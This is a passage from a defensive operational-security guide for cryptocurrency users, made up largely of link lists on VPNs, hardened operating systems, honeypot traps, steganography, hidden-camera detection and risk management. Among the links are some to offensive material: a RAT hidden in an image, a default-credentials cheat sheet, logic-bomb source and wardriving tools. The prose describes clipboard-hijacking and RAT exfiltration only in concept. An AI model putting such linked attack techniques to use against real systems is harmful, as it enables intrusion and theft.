require you to become a hostile, distrustful cryptopunk and abuse it to the extreme: you might find something that works for you. <details> <summary>More about VPN</summary> <br /> A VPN (Virtual Private Network) is an application that increases your online security and privacy. It creates an encrypted tunnel by redirecting your traffic and hides personal data, information and browsing history. Many of us do not know where to start when choosing a VPN, but I will help you in this, remember main key principles: - The VPN app must reliably encrypt data - The VPN app must have a kill-switch, AND lockdown modes! - It must not store a single byte of your sensitive data, including email address. One helpful sheet created by someone comparing VPNs in detail is [here](https://docs.google.com/spreadsheets/d/1L72gHJ5bTq0Djljz0P-NCAaURrXwsR1MsLpVmAt3bwg/edit#gid=0)! [Mullvad](https://mullvad.net) does a few things differently than most other VPNs, such as allowing cash payments and not requiring an email address to create an account. One may also wonder: Isn't WireGuard less safe than OpenVPN, since logs are kept for WireGuard (at least temporary? Well, If you have multiple users you have to make an additional gateway with additional IP address. Like in [Nordlynx](https://nordvpn.com/blog/nordlynx-protocol-wireguard/). But out of the box you cant say that OpenVPN is more safe. It's more difficult to configure it so misconfiguration may be an issue. With all said, I prefer mullvad.net + oVPN. > There is a take that you should never use VPN services and run your own VPS/VPN only! [Check out this resource!](https://gist.github.com/joepie91/5a9909939e6ce7d09e29) Another Option — Setting Up a Hardware VPN. If you area VPN enjoyer I’d strongly consider you look at affordable hardware options, for example, the [gl-mt1300](https://www.amazon.com/GL-iNet-GL-MT1300-Wireless-Pocket-Sized-Repeater/dp/B08MKZXGBY) is a cheap and very nice piece of kit, easy way to protect your home network from threats without relying on running software locally. It may seem overkill but the options of TOR or Mullvad and general WireGuard, and measures to stop [DNS leakage](http://www.dnsleaktest.com) make it quite a nice useful piece of kit! - [How I turned a mini-PC into an Ethereum node to run at home](https://medium.com/coinmonks/how-i-turned-a-mini-pc-into-an-ethereum-node-to-run-at-home-5aebf1b6f881) - [Spin up your own Ethereum node](https://ethereum.org/en/developers/docs/nodes-and-clients/run-a-node) - [Check out this resource!](https://gist.github.com/joepie91/5a9909939e6ce7d09e29) It is important to note that you can achieve the same thing by installing oVPN Mullvad (or another service you trust / your own VPN) configuration on your home router! You should also keep in mind the basic rule: the VPN is your buddy and will keep you safe from a wide range of threats, including even several WiFi and physical attacks. I hope this short [note](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg) helps you decide! **On the opposite:** Don't use 3rd party VPN, rent a VPS and bootstrap open source VPN server, it's 5 min! </details> At the same time, I believe that OpSec, in its broadest sense, does not function on half-measures, and it's critical to understand how to do things in a benchmark so you have something to fall back on. - [Guide to securing and improving privacy on macOS](https://github.com/drduh/macOS-Security-and-Privacy-Guide) - [Set of utilities to manage BIP44-compatible Ethereum HD wallet](https://github.com/pavel-main/ethereum-hd-tools) - [The Last Laptop You'll Ever Need For Crypto](https://defieducation.substack.com/p/the-last-laptop-youll-ever-need-for) - [Nano-Painting: Encryption With Colours](https://medium.com/asecuritysite-when-bob-met-alice/nano-painting-encryption-with-colours-1d18a79ee942) - [Hacking a Windows Machine by Hiding a RAT Inside an Image](https://systemweakness.com/hacking-a-windows-machine-by-hiding-a-rat-inside-an-image-843832bafc7e) After all, one key rule that almost never gets emphasized is "always be aware of what rule you're breaking, why, and how it may affect you in case of an assault or other problems. In any case, it is critical to understand where the boundaries of this "standard of OpSec & security" lie, which I will attempt to do via the lens of many approaches, which I will attempt to express in such a way that they are universal. - [Read this article!](https://mjg59.dreamwidth.org/66429.html) - [MacOS Secure Profiles](https://github.com/sambacha/macos-secure-profiles) - [MacOS Security](https://github.com/usnistgov/macos_security) - [Free, open-source tools to protect your Mac](https://objective-see.org/tools.html) - [Mac Monitor](https://github.com/redcanaryco/mac-monitor) - [Security checklist app for your Mac](https://paretosecurity.com/) **On the opposite:** Tend to use: > you can use Apple Configurator and create a blueprint to ensure conformance (trusting they apply it) - QubesOS; [Manual](https://www.qubes-os.org/news/2022/10/28/how-to-organize-your-qubes) - TailsOS; [Manual](https://blokt.com/guides/tails-os) - WhonixOS; [Manual](https://www.whonix.org/wiki/Linux) For mobile: - GrapheneOS; [Forum](https://discuss.grapheneos.org/u/6gsxdr3U) - LineageOS; [Manual](https://wiki.lineageos.org/install_guides) - DivestOS; [Manual](https://en.wikipedia.org/wiki/DivestOS) - [Read](https://officercia.mirror.xyz/0uiAGM50rkQSvHbptcrVkCkyxsnewpAFIdu3oyga42Y) - [Comparing VeraCrypt and TrueCrypt with an unexpected result](https://book.cyberyozh.com/veracrypt-veracrypt-vs-truecrypt) - [Awesome Security Hardening Guides](https://github.com/decalage2/awesome-security-hardening) - [Endian](https://www.endian.com/community/) Also check out: - [sandboxie-plus.com](https://sandboxie-plus.com/downloads) - [Digital Communications Protocols](https://docs.google.com/spreadsheets/d/1-UlA4-tslROBDS9IqHalWVztqZo7uxlCeKPQ-8uoFOU/edit?usp=drivesdk) - [spideroak.com](https://spideroak.com) - [rsync.net](https://rsync.net) - [nextdns.io](https://nextdns.io) - [app.any.run](https://app.any.run) - [Malware - File Analysis](https://start.me/w/aJxMm0) - [Island](https://island.oasisfeng.com) - [Vanilla OS](https://vanillaos.org) - [safing.io](https://safing.io) - [shadowsocks](https://github.com/shadowsocks) - [mac.getutm.app](https://mac.getutm.app) - [souin](https://github.com/darkweak/souin) - [geti2p.net](https://geti2p.net/en) - [anon-service](https://github.com/bit4mind/anon-service) - [privacy.sexy](https://privacy.sexy) - [Learn Cryptography!](https://4pda.to/forum/index.php?showtopic=782986) - [Catch the Man-in-the-Middle](https://play.google.com/store/apps/details?id=me.brax.certchecker) - [CamWings](https://schiffer.tech/camwings-mobile.html) - [ScreenWings](https://schiffer.tech/screenwings-mobile.html) - [rethink-app](https://github.com/celzero/rethink-app) - [kleopatra](https://apps.kde.org/kleopatra) - [DPI tunnel](https://github.com/zhenyolka/DPITunnel-androidhttps://github.com/zhenyolka/DPITunnel-android) - [Teletun](https://github.com/PiMaker/Teletun) - [GoodbyeDPI](https://github.com/ValdikSS/GoodbyeDPI) - [algoVPN](https://github.com/trailofbits/algo) - [usbraptor](https://sourceforge.net/projects/usbraptor) - [Network Bandwidth Analyzer - Bandwidth Monitor](https://www.solarwinds.com/network-bandwidth-analyzer-pack?CMP=ORG-BLG-DNS-X_WW_X_NP_X_X_EN_X_X-BAP-20190930_9BestNetworkBan_X_X_VidNo_X-X) - [Network and IT infrastructure monitoring for small & medium environments](https://www.paessler.com/prtg/prtg-network-monitor) **Important OpSec Tip:** Avoid installing any third-party software, including single-player and multiplayer games, on your primary (for work/crypto) computer or phone: - [Dota 2 Under Attack: How a V8 Bug Was Exploited in the Game](https://decoded.avast.io/janvojtesek/dota-2-under-attack-how-a-v8-bug-was-exploited-in-the-game) - [Dangerous RCE Vulnerability in GTA Online Fixed](https://gridinsoft.com/blogs/rce-vulnerability-in-gta-online) - [What We Know About the Vulnerabilities Keeping ‘Dark Souls’ Offline](https://flashpoint.io/blog/rce-vulnerability-dark-souls) - [Details about the ‘Dark Souls’ hacking exploit have been published](https://www.nme.com/news/gaming-news/details-about-the-dark-souls-hacking-exploit-have-been-published-3186809) --- ### Problem 8 Be careful about using your real home address online for delivery purposes. Data breaches are now a daily occurrence, and many breaches include customer names and addresses. Your physical address is not as easily changeable as a phone number or email address, so be especially mindful about where you use it on the Internet. - [DefaultCreds CheatSheet](https://github.com/ihebski/DefaultCreds-cheat-sheet/) - [Physical crypto attacks](https://github.com/jlopp/physical-bitcoin-attacks/blob/master/README.md) - [About If you want know, who use your computer when you are not nearby - PC Mouse Tracker](https://github.com/iterweb/watcher) If you’re ordering pizza with crypto, order it for pickup instead of delivery. When online shopping, use a different (and publicly available) address for package delivery. Options here include your workplace or drop boxes at delivery service providers like FedEx and your local postal service. - [Read More](https://www.cnbc.com/2017/11/02/heres-how-to-protect-your-bitcoin-and-ethereum-from-hacking.html) **Also:** - [Torn](https://mirror.xyz/xanny.eth/SGxwfVQ75831z5vFaS1LrlatUJEhxBvZ2cyTvAdCD0k) - [Anon Swaps](https://telegra.ph/ButHow-01-28) - [sideshift.ai](https://sideshift.ai) - [agoradesk.com](https://agoradesk.com) - [Aztecnetwork](https://twitter.com/aztecnetwork) - [Aztec-2 Dune Privacy Dashboard](https://dune.com/jaosef/Aztec-2) - [RailGun](https://railgun.ch/#/) - [Monero](https://telegra.ph/CIA-Officer--Monero-05-08) --- ### Problem 9 Remember: You Could Be a Target! We are a natural target for all sorts of attacks — from garden-variety cybercriminals to competitive spying (sounds dramatic, but it’s real!). > You may create **honeypots** on the working device (assuming you keep to this notion), such as [CanaryToken](https://www.tomshardware.com/news/use-a-raspberry-pi-to-catch-hackers-with-opencanary) or [canarytokens.org](https://canarytokens.org/generate) or [IpLogger](https://iplogger.org). You can also create many wallet.dat files or just create a PDF document called, for example, **Wallet Seed** and hide [traps](https://twitter.com/lordnarfz0g/status/1554649309580300288) inside. That way, you'll be notified if anything happens or bad actors trigger it! Check out as well: [link1](https://github.com/lamer112311/Dnnme2), [link2](https://github.com/Bafomet666/Bigbro), [link3](https://t.me/ibederov_en/252), [link4](https://canarytokens.org). It will work out like a basic SIEM or DLP system. Same goes to your blockchain wallet - [alerts are very important](https://officercia.mirror.xyz/W-SUbkTf18b3RuPL9DykXQmpexWBZxbp4P1xfCfXo4Y)! Set them up properly! That said, it doesn’t really matter what industry you’re in. If you have any sensitive, proprietary information at all (and let’s face it, most people in crypto do), then you could very well be a target. This is a good thing to always keep in mind. - [Physical Security: Escapology](https://en.wikipedia.org/wiki/Escapology) - [Threat modeling for smart contracts step-by-step guide](https://composable-security.com/blog/threat-modeling-for-smart-contracts-best-step-by-step-guide) - [How to Defend Your Castle | Innovative Trio in Smart Contract Security: Monitoring, Prevention, Defense](https://officercia.mirror.xyz/W-SUbkTf18b3RuPL9DykXQmpexWBZxbp4P1xfCfXo4Y) > Anything on a mobile device uses the built in render, aka, brave uses web kit from Apple on iPhone, or blink on Android. They are just ui wrappers with some functionality built on top. I'd say Brave browser is sufficiently secure, but (original) Chromium is better because of the faster updates then on its forks (like Brave). Other tools should be treated with the same attitude. I mean, you can use Chrome both in anonymous and private ways. > Tor just makes your life easier a little bit. There is neither no out-of-the-box security nor out-of-the-box privacy solutions… There are no bad tools either. You can use obscore privacy enhanced forks like librewolf but its a trade off as you end up being more identifiable through browser fingerprinting, whereas when you use ff/chrome you are one of millions sharing a similar fingerprint. <details> <summary>Expand</summary> <br /> - [Read More](https://www.cnbc.com/2021/06/11/tips-to-help-keep-your-crypto-wallet-secure.html) - [Read More](https://www.usenix.org/system/files/1401_08-12_mickens.pdf) - [Drive NFC Hack](https://www.makeuseof.com/tag/drive-nfc-hack-work) - [Web3.0 API Security for TestNet and MainNet Environment for Authorization Attack Prevention Implementation Using Python](https://medium.com/@spartan_21003/web3-0-api-security-for-testnet-and-mainnet-environment-for-authorization-attack-prevention-b39bab63313) - [Ethereum nodes security](https://medium.com/@0xOZ/ethereum-nodes-security-5cce950fcc77) - [How To Secure Your Crypto Wallet On A Virtual Machine And Stop Front-Running](https://medium.com/immunefi/improving-opsec-in-the-crypto-space-virtual-machine-flashbots-edition-ee2c1fa280c5) - [The Evolving Landscape of Privacy in Web3](https://mirror.xyz/thecryptonomad.eth/7RBs7PRAFCbp4uwSwAm7Y6727A2LfTEA-duSSLhSiAY) </details> --- ### Problem 10 Remain Vigilant - Create a culture of skepticism where they feel comfortable checking twice before clicking a link or responding to a request for sensitive information, and you’ll have a much more secure organization overall. Watch out [physical attacks](https://github.com/jlopp/physical-bitcoin-attacks/blob/master/README.md)! <details> <summary>Expand</summary> <br /> - [Wi-Fi Security when holding Crypto assets!](https://t.me/officer_cia/377) - [Read More](https://www.ledger.com/academy/security/hack-wifi) - [Read More](https://anonymousplanet.org/guide.html) - [SS7 Attacks](https://t.me/officer_cia/79) - [More SS7 Attacks](https://www.zdnet.com/article/5g-networks-could-be-vulnerable-to-exploit-due-to-mishmash-of-old-technologies) - [How to detect IMSI catchers](https://armadillophone.com/blog/how-to-detect-imsi-catchers) - [Check out](https://twitter.com/Laughing_Mantis/status/1579550302172508161) - [Wardriving](https://github.com/AlexLynd/ESP8266-Wardriving) - [CreepDetector](https://github.com/skickar/CreepDetector) - [AntiCensorship Messaging](https://censorship.no/en/index.html) - [Discord e2e encryption](https://github.com/mpgn/discord-e2e-encryption) </details> --- ### Problem 11 OpSec often comes into play in public settings. For example, if members of your team are discussing work-related matters at a nearby lunch spot, during a conference, or over a beer, odds are that someone could overhear. As they say, loose lips can sink ships, so make sure you don’t discuss any sensitive company information while out in public. - [On Operational Security in Web3](https://0xrusowsky.substack.com/p/on-operational-security) - [Network Security Myths Busted](https://darkreading.com/ics-ot/ot-network-security-myths-busted-in-a-pair-of-hacks) - [5 Ways to Find Hidden Cameras Using Your Mobile Phone](https://www.makeuseof.com/tag/use-smartphone-detect-hidden-surveillance-cameras/) - [9 Places Where Secret Cameras Are Most Likely to Be Hidden](https://www.makeuseof.com/where-secret-cameras-are-likely-to-be-hidden/) - [Discussion about how to find hidden cameras.](https://t.me/lobsters_chat/411600) A lot of OpSec missteps can be avoided by being more aware of your surroundings and the context in which you are speaking: what you’re saying, where you are, who you’re speaking to, and who might overhear. It’s a good idea to go over the “no-no’s” for your specific company during onboarding and to remind employees of them periodically. - [Watch More](https://www.youtube.com/watch?v=hxHqE2W8scQy) - [Awesome InfoSec](https://github.com/onlurking/awesome-infosec) - [Dear Security, be a part of the solution](https://medium.com/chris-dialogue/dear-security-be-a-part-of-the-solution-703201425805) - [Staying Safe in Web3: OTC Scams](https://polkaverse.com/@bruno/staying-safe-in-web3-otc-scams-30094) --- ### Problem 12 Identify your sensitive data, including your product research, passwords, intellectual property, financial statements, customer information, and employee information. This will be the data you will need to focus your resources on protecting. Randomization, mimicry and entropy must accompany your every step and manifest itself in literally everything: as you can imagine, the law enforcers of different countries have long ago learned to analyze packets via [DPI](https://github.com/ValdikSS/GoodbyeDPI) (to counter this you may use something like [this](https://github.com/PiMaker/Teletun) or [this](https://github.com/zhenyolka/DPITunnel-androidhttps://github.com/zhenyolka/DPITunnel-android) or [VPN](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg)), to match them with the post or message time and perform [timing attacks](https://officercia.mirror.xyz/WeAilwJ9V4GIVUkYa7WwBwV2II9dYwpdPTp3fNsPFjo) and then go to the ISP provider or telecommunications company. Be smarter. Most likely in the future we will all have to face [AI](https://share-docs.clickup.com/25598832/d/h/rd6vg-14247/0b79ca1dc0f7429/rd6vg-12465) and Neural Network which were made specifically for finding people and information based on [OSINT](https://officercia.mirror.xyz/5KSkJOTgMtvgC36v1GqZ987N-_Oj_zwvGatOk0A47Ws) and similar (up to [Big Data](https://www.ledgerinsights.com/amex-visa-citi-back-80m-funding-for-trm-labs-blockchain-intelligence/)) methodologies, so the only thing that will save us is what separates humans from machines - our imagination and our capacity for illogical unpredictable actions. Whatever you do, do it with some element of randomness. If you find it hard to comprehend, then put it in the hands of playing cards or [random.org](https://random.org). Do you transfer an amount? Send not an even (1000, 100, 50, etc.) or similar value, and so on. I think you get my point. Once again, be smarter, for example: there is a tool like [Ethereum alarm clock](https://blog.chronologic.network/tutorial-using-the-ethereum-alarm-clock-cli-63cd1e6416be) ([2](https://www.ethereum-alarm-clock.com/)), but you have to remember to use it [with caution](https://www.theblock.co/amp/post/178418/ethereum-alarm-clocks-smart-contract-is-being-targeted-by-exploiters). - [The Wiretap: How The FBI Digs Up Deleted WhatsApp Messages](https://www.forbes.com/sites/thomasbrewster/2023/05/23/the-wiretap-fbi-digs-up-deleted-whatsapp-messages/) - [anonymousplanet.org](https://anonymousplanet.org/) - [Android keyboard for secure E2EE communication through the signal protocol in any messenger](https://github.com/amnesica/KryptEY) Maybe you can come up with your own solution based on [logic bomb](https://github.com/starius/logic-bomb/blob/master/logic_bomb.c) and [canarytokens.org](https://canarytokens.org) with [tenderly.co](https://tenderly.co)! The tool previously described [has been hacked](https://www.theblock.co/amp/post/178418/ethereum-alarm-clocks-smart-contract-is-being-targeted-by-exploiters), use with caution and only if you know what you are doing. You can use [Escrow](https://github.com/JackBekket/escrow-eth/blob/master/contracts/EscrowAdvansed.sol) and [Multisig](https://gnosis-safe.io) as a substitute for this. > [Steganography](https://officercia.mirror.xyz/8ecJG-s_5E6J1t-h8gUNGqV3hbX8If-E5NnrFrOJHUA) and Cryptography can also be combined for this purpose. After all, cryptography hides information, whereas steganography masks the fact that it was transmitted. For example, if you stenographically double-encrypt your passwords and store them in a cloud-based password manager, hackers (even if the vault is decoded or hacked) will be unable to use them as they will need your [stega-key](https://www.edureka.co/blog/steganography-tutorial) for this. You would, however, have to decrypt each password each time you are using it, with a special note. <details> <summary>Expand</summary> <br /> - [Steganography](https://officercia.mirror.xyz/8ecJG-s_5E6J1t-h8gUNGqV3hbX8If-E5NnrFrOJHUA) - Check out [this tool](https://github.com/utkusen/wholeaked)! - [Check out this awesome Privacy-focused toolkit!](https://techlore.tech/resources) - [Watch More](https://www.youtube.com/watch?v=0aSQMeoz9ow) - [stylesuxx.github.io](https://stylesuxx.github.io/steganography) - [stegonline.georgeom.net](https://stegonline.georgeom.net/upload) </details> --- ### Problem 13 Identify possible threats. For each category of information that you deem sensitive, you should identify what kinds of threats are present. While you should be wary of third parties trying to steal your information, you should also watch out for insider threats, such as negligent employees and disgruntled workers. **OpSec is generally more of a failure than the technology!** > [Keep your friends close, and your enemies closer.](https://en.wiktionary.org/wiki/keep_your_friends_close,_and_your_enemies_closer#:~:text=Proverb,wreak%20havoc%20in%20one's%20life.) - [Read More](https://datatracker.ietf.org/wg/opsec/documents/) - [AnonPlanet](https://anonymousplanet.org/links.html) - [censorship.no](https://censorship.no/) - [detect.expert](https://detect.expert/) - [WhatBreach](https://github.com/Ekultek/WhatBreach) **Offline/Radio + Crypto:** - [Building a Transaction By Hand](https://klmoney.wordpress.com/bitcoin-dissecting-transactions-part-2-building-a-transaction-by-hand/) - [Generating a Seed Phrase using a Calculator](https://vault12.com/securemycrypto/cryptocurrency-security-how-to/calculator-seed-phrase-generator) - [Instruments on the radio waves🛠](https://telegra.ph/Instruments-on-the-radio-waves-02-01) - [No Internet, No Problem: How to Send Bitcoin by Amateur Radio](https://news.bitcoin.com/no-internet-no-problem-how-to-send-bitcoin-by-amateur-radio) - [The Cypherpunks Tapping Bitcoin via Ham Radio](https://www.wired.com/story/cypherpunks-bitcoin-ham-radio/) - [The Only Safe Way to Store Crypto: Ultimate OpSec](https://officercia.mirror.xyz/p1ieZdxQWH4yHCNOXNPHyT8So1cY0X_wMGKwdmavi7s) - [Better privacy without special software](https://mprimi.github.io/portable-secret/) --- ### Problem 14 Analyze security holes and other vulnerabilities. Assess your current safeguards and determine what, if any, loopholes or weaknesses exist that may be exploited to gain access to your sensitive data. <details> <summary>Expand</summary> <br /> - [Can forensic science still recover data from a hard drive after a seven-pass wipe?](https://www.quora.com/Can-forensic-science-still-recover-data-from-a-hard-drive-after-a-seven-pass-wipe?) - [Gentoo](https://www.gentoo.org) - [TailsOS](https://tails.boum.org/about/index.en.html) - [Awesome Memory Forensics](https://github.com/digitalisx/awesome-memory-forensics) - [WhonixOS](https://www.whonix.org) - [ParrotOS](https://www.parrotsec.org) - You may also try using [LUKS!](https://en.m.wikipedia.org/wiki/Linux_Unified_Key_Setup) - [File carving](https://resources.infosecinstitute.com/topic/file-carving) - [Read More](https://www.lopp.net/bitcoin-information/security.html) - [Choose Veracrypt (better) or FileVault!](https://book.cyberyozh.com/veracrypt-veracrypt-vs-truecrypt) </details> **Also:** - [Citation from this resource:](https://www.quora.com/Can-forensic-science-still-recover-data-from-a-hard-drive-after-a-seven-pass-wipe?top_ans=29806971) If you have confidential files you want to protect, store them in cipher text, using 256-bit AES encryption, not in plain text format. If you want to sanitize the files, you can run a multi-pass wipe, shred or erase program. Glary Utilities includes a free file shredder tool where you can shred files or folders using Dept of Defense standard 5220.22-M. You can repeat the delete process up to 10 times. > One may even come up with using an [old-fashioned device](https://richardwarrender.com/2019/03/psion-fever-breaching-a-digital-data-island/) without internet/bluetooth connection. [Check out this example](https://zedstarr.com/2021/06/11/online-retro-connecting-psions-mc400-series-3a-machines-to-the-internet/). Do not ever store any back-ups if you are using a similar device for OpSec purposes! Even if someone was able to recover remnants of old magnetic disk data after 10 shredding passes, they would still not see the plain text data, they would see scrambled cipher text data, and would have to decrypt the very strong 256-bit AES encryption. Better yet, don’t store confidential or encrypted files on magnetic storage. Store the files on a removable flash drive that can be shredded with software and physically destroyed if desired. Unplug the flash drive when not in use. --- ### Problem 15 Appraise the level of risk associated with each vulnerability. Rank your vulnerabilities using factors such as the likelihood of an attack happening, the extent of damage that you would suffer, and the amount of work and time you would need to recover. The more likely and damaging an attack is, the more you should prioritize mitigating the associated risk. <details> <summary>Expand</summary> <br /> - [Read More](https://www.reddit.com/r/opsec/) - [Tips from TrailOfBits](https://docs.google.com/document/d/1-_0Wlwch_vtkPM4F-SdEXLjQYaYT7KoPlU2rjt7tkLQ/edit) - [CryptoCustody Blog](https://cryptocustody.substack.com) - [6 Reasons to Avoid Cloud Services and Keep Your Feet on the Ground](https://www.makeuseof.com/tag/reasons-avoid-cloud-services/) - [How Crypto Stealth Addresses Keep Your Transactions Private](https://www.makeuseof.com/how-crypto-stealth-addresses-keep-your-transactions-private/) - [How to Hide Your MAC Address and Why You Should](https://www.makeuseof.com/hide-mac-address/) - [5 Ways to Hide Apps on Your iPhone](https://www.makeuseof.com/ways-to-hide-iphone-apps/) </details> --- ### Problem 16 Get countermeasures in place. The last step of operational security is to create and implement a plan to eliminate threats and mitigate risks. This could include updating your hardware, creating new policies regarding sensitive data, or training employees on sound security practices and company policies. Countermeasures should be straightforward and simple. <details> <summary>Expand</summary> <br /> - [Create a ‘Panic’ Alarm With Aqara Hub & Siri Shortcuts](https://homekitnews.com/2020/03/15/create-a-panic-alarm-with-aqara-hub-siri-shortcuts/) - [How to use the 'In Case of Emergency' iPhone shortcut to get quick help from rescue services or a contact](https://www.businessinsider.com/guides/tech/in-case-of-emergency-iphone-shortcut?amp) - [Automated Panic Button: Details in Comments](https://www.reddit.com/r/shortcuts/comments/s5mupe/automated_panic_button_details_in_comments/) - [Event Triggers - Siri](https://support.apple.com/guide/shortcuts/event-triggers-apd932ff833f/ios) - [Using Siri Shortcuts as a Panic Button on Apple Watch - Discussion](https://t.me/lobsters_chat/423127) - [Panic Button App example](https://www.youtube.com/watch?v=qPiAtEuKM4w) </details> > If your job requires you to deal with various files (for example, CV), always ask to upload them to Google Drive in preview mode beforehand. Or open them via [dangerzone.rocks](https://dangerzone.rocks). Even with all of the above, always do your work from a separate computer and VM! Employees should be able to implement the measures required on their part with or without additional training. - [Read More](https://hackernoon.com/5-tips-to-prevent-hackers-from-stealing-your-crypto-assets-e2243zig) - [Ultimate Guide to Safely Self Custody your Crypto](https://www.cypherock.com/blogs/ultimate_guide_to_set_up_crypto_stack_security) - [Setting up a VM for crypto operations](https://medium.com/immunefi/improving-opsec-in-the-crypto-space-virtual-machine-flashbots-edition-ee2c1fa280c5) --- ### Problem 17 Implement separation of duties. Make sure that those who work on your network are not the same people in charge of security. > Study [Zero trust security model](https://en.m.wikipedia.org/wiki/Zero_trust_security_model): The zero trust security model, also known as zero trust architecture (ZTA), zero trust network architecture or zero trust network access (ZTNA), and sometimes known as perimeterless security, describes an approach to the design and implementation of IT systems. - [Read More](https://arxiv.org/abs/2106.10740) - [SIEM](https://en.wikipedia.org/wiki/Security_information_and_event_management) - [DLP](https://digitalguardian.com/blog/what-data-loss-prevention-dlp-definition-data-loss-prevention) - [IDS](https://www.geeksforgeeks.org/intrusion-detection-system-ids/) - [How to Generate Your Own GnuPG Key](https://www.makeuseof.com/how-to-generate-your-own-gnupg-key/) - [5 Reasons Installing Fewer Apps Helps You Stay Safe](https://www.makeuseof.com/why-installing-less-software-better-security/) --- ### Problem 18 Automate tasks to reduce the need for human intervention. Humans are the weakest link in any organization’s operational security initiatives because they make mistakes, overlook details, forget things, and bypass processes. - [Telegram & Discord Security Best Practices](https://telegra.ph/Telegram--Discord-Security-Best-Practices-01-02) - [Read More](https://web.mit.edu/smadnick/www/wp/2019-05.pdf) - [Read More](https://medium.com/immunefi/how-not-to-get-hacked-on-telegram-2db2b93a5fa2v) - [Check out: Littlesnitch tool](https://www.obdev.at/products/littlesnitch) --- ### Problem 19 Incident response and disaster recovery planning are always crucial components of a sound security posture. Even when operational security measures are robust, you must have a plan to identify risks, respond to them, and mitigate potential damages. - [Read More on Incident Response Plans](https://www.crowdstrike.com/cybersecurity-101/incident-response/) - [Read More](https://trustwallet.com/blog/how-to-stay-safe-on-the-internet-crypto-guide) --- ### Problem 20 Risk management: The process of identifying, assessing and controlling threats to an organization's capital and earnings. These risks stem from a variety of sources including financial uncertainties, legal liabilities, technology issues, strategic management errors, accidents and natural disasters. <details> <summary>Expand</summary> <br /> - [Violent Attack Vectors in Web3: A Detailed Review](https://officercia.mirror.xyz/qfhQ_ocTPKnO5EqMlZ2ixIX7oBIfz5Tznid82EucbYk) - [Here's a List of 29 Different Types of USB Attacks](https://www.bleepingcomputer.com/news/security/heres-a-list-of-29-different-types-of-usb-attacks) - [Bluetooth Attacks and Security Tips – Awareness Results in Better Protection](https://home.sophos.com/en-us/security-news/2021/bluetooth-attacks) - [Bluetooth Security: 5 Ways to prevent Bluetooth attacks with Build38](https://build38.com/prevent-bluetooth-attacks) - [This is a macOS hardening to read or set security configuration](https://github.com/ataumo/macos_hardening) - [A collection of awesome security hardening guides, tools and other resources](https://github.com/decalage2/awesome-security-hardening) - [Guide to securing and improving privacy on macOS](https://github.com/drduh/macOS-Security-and-Privacy-Guide) </details> Many individuals from an organization can be in charge of different parts of the risk management process. Through this process, they can discover potential areas for a data breach or other threats. Understanding potential threat vectors is central to this process, as it allows them to be seen before they can be exploited. For example: A hacker delivered a RAT (remote access trojan) onto the computer of an employee. If the RAT has a variety of capabilities, it could steal the cookies from the web browser, sift through files on the computer, and then exfiltrate that data to be sold on a darkweb market at a later date. The operational security steps mentioned in problems 1 through 10 should help prevent this from happening. Another potential attack is called "DNS Poisoning". It is a "highly deceptive cyber attack in which hackers redirect web traffic toward fake web servers and phishing websites". A web page could appear that looks like a normal login page for a business like GMail, Kraken, etc., but in reality it could be a phishing site made to steal your login information (email/username/password). Separate machines on the same network will not prevent this, as the traffic passes through the router for both machines, so the solution is to have separate networks and to verify website certificates. Some VPN providers use their own DNS servers through the software package they provide, so this could prevent this type of attack as well. Malware can also have the functionality to "attack" a computer's clipboard. The malware could check the clipboard at a set interval to see if any cryptocurrency addresses are detected in it. If they are, it would then replace the one in the clipboard with one of the hacker's cryptocurrency addresses, which means the cryptocurrency would then be sent to the hacker. The beginning and end may match, but this requires extra functionality on the part of the malware, as it would need to generate wallets on the fly and exfiltrate the keys to the hacker. - [Watch More](https://www.youtube.com/watch?v=pGcerfVqYyU) - [Read More](https://medium.com/@cryptochatjoe/remaining-anonymous-in-todays-crypto-market-a-101-guide-for-the-badass-not-so-techies-7091edffa9aa) - [scan.tylabs.com](https://scan.tylabs.com) - [any.run](https://any.run) - [dangerzone.rocks](https://dangerzone.rocks) - [Malwoverview](https://github.com/alexandreborges/malwoverview) - [urlscan.io](https://urlscan.io) --- ### Problem 21 Your level of opsec usually depends on your threat model and which adversary you're up against. So it's hard to define how good your opsec is. But I'd say it sounds pretty okay. I recommend: > If you defiantly refuse to say who you are, it can make people angry that you’re upsetting social reciprocity. You know who they are, but they don’t know who you are. It feels rude. [Read this article!](https://sive.rs/anon) - [Watch More](https://www.youtube.com/watch?v=9XaYdCdwiWU) - [Watch More](https://www.youtube.com/watch?v=ixLuRvYlrlw) - [Read more](https://sive.rs/anon) **Things to check out in any Airbnb/Booking property:** 1. Long term devices connected to source of electricity. Look at electricity sources. 2. Cameras hard to put into a wall. It can be done during building, so rare. 3. Video could be easily find. Just buy any [cameras detector at Amazon](https://www.amazon.com/gp/aw/d/B07B93347H/ref=sspa_mw_detail_1?ie=UTF8&psc=1&sp_csd=d2lkZ2V0TmFtZT1zcF9waG9uZV9kZXRhaWwp13NParams). You should be able to detect infrared radiation coming from the objective or (and) wireless connection! Any front camera on old phone does not have infrared filter so also can be used for it! 4. Sweep with a metal detector or a [pin-pointer](https://youtu.be/GLKK8pXGZ78). 5. Never use a local Wi-Fi network without VPN (mullvad.net or [use a hardware VPN](https://officercia.mirror.xyz/x91hTIDFrAL0lgqICRgWU7fLouuCMgvopQ9ZRvRXCLg)). **Read:** - [How To Detect Hidden Cameras](https://alfred.camera/blog/how-to-detect-hidden-cameras) - [How to find hidden cameras - 2.0](https://www.securitybees.com/blogs/home/48443077-how-to-find-hidden-cameras) - [4 Ways of Detecting Hidden Cameras in Your Airbnb](https://www.surveillance-video.com/blog/4-ways-to-find-hidden-cameras-in-your-airbnb.html) - [Cybersecurity expert explains how to find hidden cameras in an Airbnb or hotel room](https://www.mirror.co.uk/news/weird-news/cybersecurity-expert-explains-how-find-25118806) > Keep in mind that cameras are frequently mounted with the mirror in the frame. This increases the camera's field of view. Check out ceiling as well. Also, keep in mind that the camera can be hidden in glasses, a cigarette pack, or a watch. - [How to Find Hidden Spy Cameras in your Airbnb with Wireshark](https://www.franksworld.com/2022/10/15/how-to-find-hidden-spy-cameras-in-your-airbnb-with-wireshark) - [Lumos System Can Find Hidden Cameras and IoT Devices in Your Airbnb or Hotel Room](https://thehackernews.com/2022/05/lumos-system-can-find-hidden-cameras.html) - [Lumos: IoT device detection system](https://usa.kaspersky.com/blog/how-to-find-spy-cameras-and-other-iot-devices/26737) - [Researchers reveal how hotel key cards can be hacked - what you need to know](https://www.tripwire.com/state-of-security/researchers-hotel-key-cards-can-be-hacked-what-you-need-to-know) - 